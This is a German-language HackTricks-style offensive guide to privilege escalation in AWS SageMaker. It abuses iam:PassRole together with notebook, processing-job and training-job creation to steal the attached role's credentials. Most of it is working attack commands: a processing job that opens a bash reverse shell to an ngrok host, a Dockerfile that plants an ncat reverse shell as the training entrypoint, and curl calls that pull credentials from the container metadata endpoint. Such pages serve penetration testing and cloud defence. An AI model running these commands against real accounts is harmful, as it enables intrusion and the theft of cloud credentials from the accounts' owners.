AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Unterstützen Sie HackTricks

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Beginnen Sie mit der Erstellung eines Notebooks mit der IAM-Rolle, die daran angehängt ist:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Die Antwort sollte ein Feld NotebookInstanceArn enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API create-presigned-notebook-instance-url verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigieren Sie mit dem Browser zur URL und klicken Sie auf `Open JupyterLab` im oberen rechten Bereich, scrollen Sie dann zum Tab „Launcher“ und klicken Sie im Abschnitt „Other“ auf die Schaltfläche „Terminal“.

Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzugreifen.

Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.

sagemaker:CreatePresignedNotebookInstanceUrl

Wenn bereits Jupyter Notebooks darauf ausgeführt werden und Sie sie mit sagemaker:ListNotebookInstances auflisten können (oder sie auf andere Weise entdecken). Sie können eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potenzielle Auswirkungen: Privesc zur Sagemaker-Dienstrolle, die angehängt ist.

sagemaker:CreateProcessingJob,iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann Sagemaker einen Processing-Job ausführen lassen, der mit einer Sagemaker-Rolle verbunden ist. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Kontoinstanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.

sagemaker:CreateTrainingJob, iam:PassRole

Ein Angreifer mit diesen Berechtigungen wird in der Lage sein, einen Trainingsjob zu erstellen, ein beliebiges Container darauf auszuführen mit einer angehängten Rolle. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.

Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die rev shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen Hyperparameter-Trainingsjob zu erstellen, einen beliebigen Container darauf auszuführen und eine angehängte Rolle zu verwenden. Ich habe es nicht ausgenutzt wegen Zeitmangel, aber es sieht ähnlich aus wie die vorherigen Exploits, zögere nicht, einen PR mit den Ausnutzungsdetails zu senden.

Referenzen

Unterstütze HackTricks

Last updated